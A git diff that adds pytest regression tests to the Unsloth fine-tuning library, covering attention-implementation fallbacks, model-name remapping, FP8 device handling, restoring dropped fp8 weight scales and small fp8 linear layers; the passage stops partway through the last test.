+    # backend: it downgrades to eager, mirroring how an explicit flex request falls back
+    # for _FLEX_EXCLUDED_MODELS. supports_sdpa=True proves the exclusion overrides even a
+    # model that otherwise advertises SDPA support.
+    config = {"model_type": "gpt_oss"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = True,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+@pytest.mark.parametrize("model_type", ["gemma3", "gemma3_text"])
+def test_resolver_downgrades_explicit_sdpa_for_disable_sdpa_model(model_type):
+    # gemma3 / gemma3_text are in DISABLE_SDPA_MODEL_NAMES: the loader forces
+    # supports_sdpa=False because their bundled SDPA modules are wrong. An explicit
+    # sdpa request with flash disabled must NOT re-enable that known-wrong path - it
+    # downgrades to eager, exactly like _SDPA_EXCLUDED_MODELS (gpt_oss). head_dim>256
+    # disables flash to mirror the real flash-disabled scenario.
+    config = {"model_type": model_type, "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+def test_resolver_does_not_overmatch_gemma3n_for_explicit_sdpa():
+    # The "gemma3," trailing-comma guard must not match gemma3n: gemma3n is not in
+    # DISABLE_SDPA_MODEL_NAMES, so it stays a conservative (not known-wrong) model and an
+    # explicit sdpa request is still honored. Proves the substring match neither over- nor
+    # under-matches.
+    config = {"model_type": "gemma3n", "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_synthesized_sdpa_for_disable_sdpa_model():
+    # A synthesized/default sdpa (requested is None; the value came from config) on a
+    # DISABLE_SDPA_MODEL_NAMES model must still downgrade to eager.
+    config = {"model_type": "gemma3", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/tests/test_bad_mappings_redirect.py b/tests/test_bad_mappings_redirect.py
new file mode 100644
index 0000000000..49dab2d98b
--- /dev/null
+++ b/tests/test_bad_mappings_redirect.py
@@ -0,0 +1,47 @@
+"""Regression test for BAD_MAPPINGS redirecting oversized dynamic quants.
+
+get_model_name previously applied BAD_MAPPINGS only to the resolver's output,
+but several listed names (the `-unsloth-bnb-4bit` dynamic quants, plus any name
+the resolver doesn't map) come back as None, so their BAD_MAPPINGS entries were
+dead and the oversized model loaded. Asserting over every entry catches all of
+them. The mapper table and the resolver have no heavy imports of their own,
+so we exec the import-free mapper module and ast-extract the resolver functions
+rather than importing unsloth (which needs a GPU).
+"""
+
+import ast
+import os
+
+_MODELS = os.path.join(os.path.dirname(__file__), os.pardir, "unsloth", "models")
+
+
+def _load_get_model_name():
+    mapper_ns = {}
+    with open(os.path.join(_MODELS, "mapper.py"), encoding = "utf-8") as f:
+        exec(compile(f.read(), "mapper.py", "exec"), mapper_ns)
+
+    with open(os.path.join(_MODELS, "loader_utils.py"), encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    namespace = dict(mapper_ns)
+    namespace["SUPPORTS_FOURBIT"] = True
+    namespace["_env_says_offline"] = lambda: True
+    namespace["_get_new_mapper"] = lambda: ({}, {}, {})
+
+    wanted = {"__get_model_name", "_resolve_with_mappers", "get_model_name"}
+    for node in tree.body:
+        if isinstance(node, ast.Assign) and any(
+            getattr(target, "id", None) == "BAD_MAPPINGS" for target in node.targets
+        ):
+            exec(compile(ast.Module([node], []), "<bad_mappings>", "exec"), namespace)
+        elif isinstance(node, ast.FunctionDef) and node.name in wanted:
+            exec(compile(ast.Module([node], []), node.name, "exec"), namespace)
+
+    return namespace["get_model_name"], namespace["BAD_MAPPINGS"]
+
+
+def test_bad_mappings_redirect_every_listed_name():
+    get_model_name, bad_mappings = _load_get_model_name()
+    assert bad_mappings, "BAD_MAPPINGS should not be empty"
+    for name, expected in bad_mappings.items():
+        assert get_model_name(name, load_in_4bit = True) == expected, name
diff --git a/tests/test_fast_gemv_dispatch.py b/tests/test_fast_gemv_dispatch.py
new file mode 100644
index 0000000000..7758db2cd9
--- /dev/null
+++ b/tests/test_fast_gemv_dispatch.py
@@ -0,0 +1,63 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""`get_lora_parameters` must not treat a `weight_scale` as a quant state for a weight that is
+already dequantized to bf16 (e.g. a compressed-tensors layer at forward time). Otherwise the
+bnb fast_gemv / fast_dequantize path reads a missing `absmax` and crashes.
+"""
+
+from types import SimpleNamespace
+
+import pytest
+import torch
+
+# unsloth.kernels.utils imports bitsandbytes unconditionally, so skip the whole module up
+# front on runners without it (e.g. CPU-only) before importing unsloth, otherwise collection
+# errors instead of producing a skip. Any other import error still surfaces as a failure.
+pytest.importorskip("bitsandbytes")
+
+import unsloth  # noqa: F401  (sets UNSLOTH_IS_PRESENT before transformers)
+from unsloth.kernels.utils import get_lora_parameters_bias, _FP8_WEIGHT_DTYPES
+
+_FP8 = _FP8_WEIGHT_DTYPES[0] if _FP8_WEIGHT_DTYPES else None
+
+
+def _proj(weight, weight_scale = None):
+    proj = SimpleNamespace(weight = weight, bias = None, merged = False)
+    if weight_scale is not None:
+        proj.weight_scale = weight_scale
+    return proj
+
+
+def test_bf16_weight_scale_not_used_as_quant_state():
+    """A bf16 weight carrying a weight_scale (compressed-tensors) -> quant state must be None."""
+    proj = _proj(torch.randn(4, 4, dtype = torch.bfloat16), torch.rand(2, 2))
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is None
+
+
+def test_fp8_weight_keeps_scale():
+    """An actual fp8 weight still resolves its weight_scale as the quant state."""
+    if _FP8 is None:
+        pytest.skip("no float8 dtype in this torch build")
+    scale = torch.rand(2, 2)
+    proj = _proj(torch.randn(4, 4).to(_FP8), scale)
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is scale
+
+
+def test_plain_bf16_has_no_quant_state():
+    proj = _proj(torch.randn(4, 4, dtype = torch.bfloat16))
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is None
diff --git a/tests/test_fp8_device_context.py b/tests/test_fp8_device_context.py
new file mode 100644
index 0000000000..2eea35f4e6
--- /dev/null
+++ b/tests/test_fp8_device_context.py
@@ -0,0 +1,249 @@
+from __future__ import annotations
+
+import ast
+from contextlib import nullcontext
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+FP8_SOURCE = REPO_ROOT / "unsloth" / "kernels" / "fp8.py"
+
+
+class _FakeDeviceModule:
+    def __init__(self, device_count: int) -> None:
+        self._device_count = device_count
+        self.device_calls = []
+
+    def device_count(self) -> int:
+        return self._device_count
+
+    def device(self, device):
+        self.device_calls.append(device)
+        return ("device-context", device)
+
+
+class _FakeTorch:
+    Tensor = object
+
+    def __init__(
+        self,
+        cuda_device_count: int,
+        xpu_device_count: int = 0,
+    ) -> None:
+        self.cuda = _FakeDeviceModule(cuda_device_count)
+        self.xpu = _FakeDeviceModule(xpu_device_count)
+
+
+class _LaunchVisitor(ast.NodeVisitor):
+    def __init__(self) -> None:
+        self.guarded_launches: set[str] = set()
+        self.unguarded_launches: set[str] = set()
+        self._inside_fp8_device_context = 0
+
+    def visit_With(self, node: ast.With) -> None:
+        enters_context = any(
+            isinstance(item.context_expr, ast.Call)
+            and isinstance(item.context_expr.func, ast.Name)
+            and item.context_expr.func.id == "_fp8_triton_device_context"
+            for item in node.items
+        )
+        if enters_context:
+            self._inside_fp8_device_context += 1
+        for statement in node.body:
+            self.visit(statement)
+        if enters_context:
+            self._inside_fp8_device_context -= 1
+
+    def visit_Call(self, node: ast.Call) -> None:
+        launch_name = self._triton_launch_name(node)
+        if launch_name is not None:
+            if self._inside_fp8_device_context:
+                self.guarded_launches.add(launch_name)
+            else:
+                self.unguarded_launches.add(launch_name)
+        self.generic_visit(node)
+
+    @staticmethod
+    def _triton_launch_name(node: ast.Call) -> str | None:
+        if isinstance(node.func, ast.Name) and node.func.id == "triton_quantize_fp8_block":
+            return node.func.id
+        if not isinstance(node.func, ast.Subscript):
+            return None
+        if not isinstance(node.func.value, ast.Name):
+            return None
+        return node.func.value.id
+
+
+def _load_device_context_helper(fake_torch: _FakeTorch):
+    source = FP8_SOURCE.read_text()
+    tree = ast.parse(source)
+    for node in tree.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_fp8_triton_device_context":
+            namespace = {"torch": fake_torch, "nullcontext": nullcontext}
+            exec(ast.get_source_segment(source, node), namespace)
+            return namespace["_fp8_triton_device_context"]
+    raise AssertionError("_fp8_triton_device_context was not found")
+
+
+def test_fp8_device_context_selects_cuda_tensor_device_on_multi_gpu() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 2)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cuda"))
+
+    context = helper(tensor)
+
+    assert context == ("device-context", tensor.device)
+    assert fake_torch.cuda.device_calls == [tensor.device]
+
+
+def test_fp8_device_context_is_noop_for_single_cuda_device() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 1)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cuda"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.cuda.device_calls == []
+
+
+def test_fp8_device_context_selects_xpu_tensor_device_on_multi_gpu() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 0, xpu_device_count = 2)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "xpu"))
+
+    context = helper(tensor)
+
+    assert context == ("device-context", tensor.device)
+    assert fake_torch.xpu.device_calls == [tensor.device]
+
+
+def test_fp8_device_context_is_noop_for_single_xpu_device() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 0, xpu_device_count = 1)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "xpu"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.xpu.device_calls == []
+
+
+def test_fp8_device_context_is_noop_for_non_cuda_tensor() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 8)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cpu"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.cuda.device_calls == []
+
+
+def test_fp8_triton_launches_enter_tensor_device_context() -> None:
+    tree = ast.parse(FP8_SOURCE.read_text())
+    function_names = {node.name for node in ast.walk(tree) if isinstance(node, ast.FunctionDef)}
+    assert "_fp8_triton_device_context" in function_names
+
+    visitor = _LaunchVisitor()
+    visitor.visit(tree)
+
+    expected_launches = {
+        "weight_dequant_kernel",
+        "act_quant_kernel",
+        "_w8a8_block_fp8_matmul",
+        "triton_quantize_fp8_block",
+    }
+    assert expected_launches <= visitor.guarded_launches
+    assert not (expected_launches & visitor.unguarded_launches)
+
+
+def _require_two_cuda_devices():
+    torch = pytest.importorskip("torch")
+    pytest.importorskip("triton")
+
+    if not torch.cuda.is_available() or torch.cuda.device_count() < 2:
+        pytest.skip("requires at least two CUDA devices")
+    return torch
+
+
+def test_weight_dequant_block_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    from unsloth.kernels.fp8 import weight_dequant_block
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        x = torch.arange(256 * 256, device = "cuda:1", dtype = torch.float32).reshape(256, 256)
+        scales = torch.tensor([[1.0, 2.0], [3.0, 4.0]], device = "cuda:1", dtype = torch.float32)
+
+        actual = weight_dequant_block(x, scales, block_size = 128, dtype = torch.float32)
+
+        expanded_scales = scales.repeat_interleave(128, dim = 0).repeat_interleave(128, dim = 1)
+        expected = x * expanded_scales
+
+        assert actual.device == x.device
+        assert torch.cuda.current_device() == 0
+        torch.testing.assert_close(actual, expected)
+    finally:
+        torch.cuda.set_device(previous_device)
+
+
+def test_act_quant_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    if not hasattr(torch, "float8_e4m3fn"):
+        pytest.skip("requires torch.float8_e4m3fn")
+    if torch.cuda.get_device_capability(1)[0] < 9:
+        pytest.skip("requires FP8-capable CUDA hardware")
+
+    from unsloth.kernels.fp8 import act_quant
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        x = torch.arange(256, device = "cuda:1", dtype = torch.float32).reshape(2, 128)
+
+        y, scales = act_quant(x, block_size = 128)
+
+        assert y.device == x.device
+        assert scales.device == x.device
+        assert torch.cuda.current_device() == 0
+    finally:
+        torch.cuda.set_device(previous_device)
+
+
+def test_w8a8_block_fp8_matmul_triton_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    if not hasattr(torch, "float8_e4m3fn"):
+        pytest.skip("requires torch.float8_e4m3fn")
+    if torch.cuda.get_device_capability(1)[0] < 9:
+        pytest.skip("requires FP8-capable CUDA hardware")
+
+    from unsloth.kernels.fp8 import w8a8_block_fp8_matmul_triton
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        A = torch.ones((128, 128), device = "cuda:1", dtype = torch.float32).to(torch.float8_e4m3fn)
+        B = torch.ones((128, 128), device = "cuda:1", dtype = torch.float32).to(torch.float8_e4m3fn)
+        As = torch.ones((128, 1), device = "cuda:1", dtype = torch.float32)
+        Bs = torch.ones((1, 1), device = "cuda:1", dtype = torch.float32)
+
+        actual = w8a8_block_fp8_matmul_triton(
+            A,
+            B,
+            As,
+            Bs,
+            block_size = [128, 128],
+            output_dtype = torch.float32,
+        )
+
+        expected = torch.full((128, 128), 128.0, device = "cuda:1", dtype = torch.float32)
+        assert actual.device == A.device
+        assert torch.cuda.current_device() == 0
+        torch.testing.assert_close(actual, expected)
+    finally:
+        torch.cuda.set_device(previous_device)
diff --git a/tests/test_fp8_restore_dropped_scale.py b/tests/test_fp8_restore_dropped_scale.py
new file mode 100644
index 0000000000..a85b24daff
--- /dev/null
+++ b/tests/test_fp8_restore_dropped_scale.py
@@ -0,0 +1,358 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Restoring dropped block-fp8 `weight_scale_inv` tensors on load (#6200).
+
+Some block-scale fp8 checkpoints leave a Linear (e.g. `mlp.gate_proj`) unconverted, so its raw
+quantized values land in a plain bf16 weight and its `weight_scale_inv` is dropped, producing a
+garbage un-scaled weight. `_restore_dropped_fp8_scales` dequantizes such orphaned weights in place
+using the scale from the checkpoint. Runs offline on CPU with synthetic checkpoints.
+"""
+
+import json
+import os
+import tempfile
+from types import SimpleNamespace
+
+import torch
+from torch import nn
+from safetensors.torch import save_file
+
+# Import unsloth first to set UNSLOTH_IS_PRESENT env var.
+import unsloth
+from unsloth.models.loader_utils import _restore_dropped_fp8_scales, _FP8_DTYPES
+
+
+_SHARD = "model-00001-of-00001.safetensors"
+_FP8 = _FP8_DTYPES[0] if _FP8_DTYPES else None
+
+
+def _write_checkpoint(
+    path,
+    tensors,
+    filename = _SHARD,
+    include_index = True,
+):
+    save_file(tensors, os.path.join(path, filename))
+    if include_index:
+        weight_map = {name: filename for name in tensors}
+        with open(os.path.join(path, "model.safetensors.index.json"), "w") as f:
+            json.dump({"weight_map": weight_map}, f)
+
+
+def _fp8_config(block = (2, 2)):
+    return SimpleNamespace(
+        quantization_config = {
+            "quant_method": "fp8",
+            "weight_block_size": list(block),
+        }
+    )
+
+
+def _fp8_anchor():
+    """A module carrying a real fp8 weight, so the model looks like a genuine fp8 load."""
+    m = nn.Linear(2, 2, bias = False)
+    m.weight = nn.Parameter(torch.randn(2, 2).to(_FP8), requires_grad = False)
+    return m
+
+
+def _bf16_linear(out_f, in_f, raw):
+    m = nn.Linear(in_f, out_f, bias = False).to(torch.bfloat16)
+    with torch.no_grad():
+        m.weight.copy_(raw)
+    return m
+
+
+def _expand(scale, block, shape):
+    bs0, bs1 = block
+    expanded = scale.repeat_interleave(bs0, dim = 0).repeat_interleave(bs1, dim = 1)
+    return expanded[: shape[0], : shape[1]]
+
+
+def test_restore_dequantizes_orphaned_scale():
+    """A plain bf16 weight whose scale was dropped is dequantized in place."""
+    if _FP8 is None:
+        return
+    torch.manual_seed(0)
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d,
+            {
+                "layer.weight": raw.to(torch.float32),
+                "layer.weight_scale_inv": scale,
+            },
+        )
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (4, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_skips_already_fp8_weight():
+    """A correctly converted fp8 weight is skipped, never double-scaled."""
+    if _FP8 is None:
+        return
+    weight = torch.randn(4, 4).to(_FP8)
+    before = weight.clone()
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.layer = nn.Linear(4, 4, bias = False)
+    model.layer.weight = nn.Parameter(weight, requires_grad = False)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": torch.rand(2, 2)})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 0 and skipped == 1
+    assert torch.equal(model.layer.weight.data.float(), before.float())
+
+
+def test_skips_offloaded_meta_weight():
+    """A disk-offloaded layer (weight on the meta device) is skipped without error or restore."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = nn.Linear(4, 4, bias = False)
+    # Simulate an offloaded weight living on the meta device.
+    model.layer.weight = nn.Parameter(
+        torch.empty(4, 4, dtype = torch.bfloat16, device = "meta"), requires_grad = False
+    )
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d,
+            {
+                "layer.weight": raw.to(torch.float32),
+                "layer.weight_scale_inv": scale,
+            },
+        )
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 0
+    assert model.layer.weight.device.type == "meta"
+
+
+def test_noop_when_fully_dequantized():
+    """If the model has no fp8 weights at all (e.g. load_in_16bit dequantize), do not rescale."""
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.layer = _bf16_linear(4, 4, raw)  # no fp8 anchor -> looks dequantized
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert (restored, skipped) == (0, 0)
+    assert torch.equal(model.layer.weight.data, raw)  # untouched
+
+
+def test_non_block_divisible_shape():
+    """Block scale is expanded then sliced to a non-divisible weight shape."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(3, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(3, 4, raw)  # weight shape [3, 4]
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (3, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_transposed_scale_layout():
+    """A scale stored in the transposed block grid is transposed before use."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 2, dtype = torch.bfloat16)  # weight [4, 2] -> grid (2, 1)
+    scale_correct = torch.rand(2, 1, dtype = torch.float32) + 0.1
+    scale_stored = scale_correct.t().contiguous()  # stored transposed as (1, 2)
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 2, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale_stored})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale_correct, (2, 2), (4, 2))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_single_file_checkpoint_without_index():
+    """Unsharded model.safetensors (no index) is still scanned for dropped scales."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d, {"layer.weight_scale_inv": scale}, filename = "model.safetensors", include_index = False
+        )
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (4, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_scalar_block_size_config():
+    """A scalar weight_block_size (not a list) is handled without error."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = SimpleNamespace(
+        quantization_config = {"quant_method": "fp8", "weight_block_size": 2}
+    )
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+
+
+def test_text_only_prefix_mapping():
+    """Checkpoint keys with a language_model prefix match the stripped text-only module names."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(2, 2, dtype = torch.bfloat16)
+    scale = torch.rand(1, 1, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.model = nn.Module()
+    model.model.gate_proj = _bf16_linear(2, 2, raw)  # module lacks the language_model prefix
+
+    with tempfile.TemporaryDirectory() as d:
+        # checkpoint key carries the language_model wrapper the text-only load stripped
+        _write_checkpoint(d, {"model.language_model.gate_proj.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (2, 2))).to(torch.bfloat16)
+    assert torch.equal(model.model.gate_proj.weight.data, expected)
+
+
+def test_skips_variant_load():
+    """A variant load (variant="fp8") is skipped to avoid applying default-checkpoint scales."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        result = _restore_dropped_fp8_scales(model, d, local_files_only = True, variant = "fp8")
+    assert result == (0, 0)
+    assert torch.equal(model.layer.weight.data, raw)  # untouched
+
+
+def test_vlm_language_model_model_alias():
+    """A checkpoint key language_model.model.* matches a model.language_model.* module."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(2, 2, dtype = torch.bfloat16)
+    scale = torch.rand(1, 1, dtype = torch.float32) + 0.1
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.model = nn.Module()
+    model.model.language_model = nn.Module()
+    model.model.language_model.gate_proj = _bf16_linear(
+        2, 2, raw
+    )  # -> model.language_model.gate_proj
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"language_model.model.gate_proj.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (2, 2))).to(torch.bfloat16)
+    assert torch.equal(model.model.language_model.gate_proj.weight.data, expected)
+
+
+def test_noop_without_scale_keys():
+    if _FP8 is None:
+        return
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, torch.randn(4, 4, dtype = torch.bfloat16))
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight": torch.randn(4, 4)})
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
+
+
+def test_noop_without_index_or_single_file():
+    if _FP8 is None:
+        return
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, torch.randn(4, 4, dtype = torch.bfloat16))
+    with tempfile.TemporaryDirectory() as d:
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
+
+
+def test_noop_when_not_block_fp8():
+    """A non-fp8 (or non-block) quantization config is ignored."""
+    scale = torch.rand(2, 2)
+    model = nn.Module()
+    model.config = SimpleNamespace(quantization_config = {"quant_method": "compressed-tensors"})
+    model.layer = nn.Linear(4, 4, bias = False)
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
diff --git a/tests/test_fp8_tiny_e8m0.py b/tests/test_fp8_tiny_e8m0.py
new file mode 100644
index 0000000000..cf49c8c92f
--- /dev/null
+++ b/tests/test_fp8_tiny_e8m0.py
@@ -0,0 +1,123 @@
+"""FP8 block-quant linear must handle tiny / non-tileable weights and e8m0 scales.
+
+Two things break the triton block path:
+  * a hidden dim not divisible by the activation block size (tiny test models),
+  * float8_e8m0fnu weight scales, which have no triton dtype mapping.
+The forward falls back to a torch-native blockwise dequant + bf16 matmul; this
+test checks that fallback runs finite forward + backward and matches a plain
+dequant reference.
+"""
+
+import pytest
+import torch
+
+pytestmark = pytest.mark.skipif(not torch.cuda.is_available(), reason = "needs CUDA")
+
+
+def _reference(X, weight, scale, block):
+    # Expand the per-block scale to full weight shape and dequantize.
+    m, n = weight.shape
+    s = scale.to(torch.float32)
+    s = s.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    W = (weight.to(torch.float32) * s).to(X.dtype)
+    return X @ W.T
+
+
+def test_tiny_non_tileable_forward_backward_matches_reference():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [128, 128]
+    m, n = 8, 8  # non-tileable, in-dim % 128 != 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # (out=m, in=n)
+    scale = torch.rand(1, 1, device = dev, dtype = torch.float32) + 0.5
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all(), "forward produced non-finite values"
+
+    ref = _reference(X.detach(), weight, scale, block)
+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all(), "backward non-finite"
+
+
+def test_e8m0_scale_is_upcast_and_runs():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    dev = "cuda"
+    m, n = 8, 8
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
